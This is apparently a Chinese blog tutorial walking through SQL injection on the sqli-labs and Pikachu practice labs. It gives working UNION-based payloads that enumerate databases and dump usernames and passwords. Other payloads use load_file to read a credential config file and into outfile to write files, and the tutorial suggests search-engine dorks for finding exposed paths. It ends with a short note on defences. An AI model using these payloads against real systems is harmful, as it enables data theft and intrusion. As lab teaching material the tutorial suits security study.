SQL-Injection

文章目录

      • 引入
        • columns表
        • tables表
        • schemata表
        • 以sqli-labs靶场为例
        • 路径获取常见方法
        • 文件读取函数
        • 文件写入函数
        • 防注入
      • 数字型注入(post)
      • 字符型注入(get)
      • 搜索型注入
      • xx型注入

SQL-Injection_第1张图片

引入

MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。

数据库中符号"."代表下一级,如security.users表示security数据库下的users表名

SQL-Injection_第2张图片

查看information_schema里的所有表 show tables;

SQL-Injection_第3张图片

columns表

select * from columns\G;

table_schema存储的是数据库的名称

SQL-Injection_第4张图片

tables表

SQL-Injection_第5张图片

schemata表

schema_name字段存放数据库的名字

SQL-Injection_第6张图片

information_schema.tables   #记录所有表名信息的表
information_schema.columns  #记录所有列名信息的表
table_name                  #表名
column_name                 #列名
table_schema                #数据库名

函数

database()  #数据库名
version()  #数据库版本
user()   #用户名

以sqli-labs靶场为例

1、判断注入类型

?id=1 and 1=1 --+
?id=1 and 1=2 --+

SQL-Injection_第7张图片

SQL-Injection_第8张图片

注入类型为数字型

2、判断列数

?id=1 order by 3--+
?id=1 order by 4--+      -- 报错

SQL-Injection_第9张图片

3、判断显示位

?id=-1 union select 1,2,3 --+

SQL-Injection_第10张图片

第二位和第三位为显示位

4、获取所有数据库

?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

SQL-Injection_第11张图片

group_concat这个函数默认是跟group by 分组来一起使用的

如果没有使用group by语句,那么默认就是一个组,会显示所有的内容

详见博客


5、获取当前数据库

?id=-1 union select 1,2,database() --+

SQL-Injection_第12张图片

6、获取用户名和数据库版本

?id=-1 union select 1,version(),user() --+

可以看到当前是以root用户登录的数据库,数据库版本是5.7.26

SQL-Injection_第13张图片



跨表查询:↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓

7、查看指定dvwa数据库下的所有表名信息

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where  table_schema='dvwa' --+

SQL-Injection_第14张图片

7、查看指定pikachu数据库下表名为users的所有列信息

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where  table_schema='pikachu'  and table_name='users'--+

SQL-Injection_第15张图片

查看数据库验证是否正确

SQL-Injection_第16张图片

8、查询pikachu库下的users表的数据

?id=-1 union select 1,username,password from pikachu.users--+

SQL-Injection_第17张图片

?id=-1 union select 1,2,group_concat(username,password) from pikachu.users--+

SQL-Injection_第18张图片

?id=-1 union select 1,group_concat(username),group_concat(password) from pikachu.users--+

SQL-Injection_第19张图片

?id=-1 union select 1,group_concat(concat_ws("-",username,password)),3 from pikachu.users--+

concat_ws将多个字符串连接成一个字符串,第一个参数指定分隔符,分隔符不能为null,如果为null,则返回结果为null

SQL-Injection_第20张图片

concat_ws函数和concat函数的区别

路径获取常见方法

1、报错显示

浏览器输入框inurl:edu.cn warning

SQL-Injection_第21张图片

2、遗留文件 inurl:phpinfo.php

3、漏洞报错

4、平台配置文件

5、爆破

文件读取函数

load_file()  #读取函数
# select load_file('c:/xx.txt');

load_file读取敏感信息

SQL-Injection_第22张图片

1、读取指定文件内容

http://192.168.80.139/sqli/Less-3/?id=-1')  union select 1,load_file('c:/test/demo.txt'),3--+

SQL-Injection_第23张图片

SQL-Injection_第24张图片

2、读取网站数据库配置文件

C:\software\phpstudy_pro\WWW\sqli\sql-connections\db-creds.inc

SQL-Injection_第25张图片

http://192.168.80.139/sqli/Less-3/?id=-1')  union select 1,load_file('C:\\software\\phpstudy_pro\\WWW\\sqli\\sql-connections\\db-creds.inc'),3--+

SQL-Injection_第26张图片右键查看网页源代码

SQL-Injection_第27张图片

文件写入函数

into outfile 或者 into dumpfile   #写入函数
#select 'x'  into outfile 'd:/www.txt';

防注入

魔术引号

内置函数 int

SQL-Injection_第28张图片

自定义关键字:select

SQL-Injection_第29张图片

WAF防护软件

数字型注入(post)

id=1 or 1=1

SQL-Injection_第30张图片

字符型注入(get)

直接输入1' or 1=1#

SQL-Injection_第31张图片

或者用bp抓包,构造闭合

name=1'or'1'='1

SQL-Injection_第32张图片

搜索型注入

搜索框中输入a

SQL-Injection_第33张图片

sql语句

select from 表名 where username like '%a%';

构造闭合a%' or 1=1# #号在数据库中表示注释

select from 表名 where username like '%a%' or 1=1#%';

SQL-Injection_第34张图片

xx型注入

就是猜闭合罢了

看源代码

vim /var/www/html/pikachu/vul/sqli/sqli_x.php

SQL-Injection_第35张图片

select id,email from member where username=('$name');

构造闭合xx') or 1=1#

select id,email from member where username=('xx') or 1=1#');

你可能感兴趣的:(#,Pikachu靶场系列,sql,数据库,pikachu,靶场)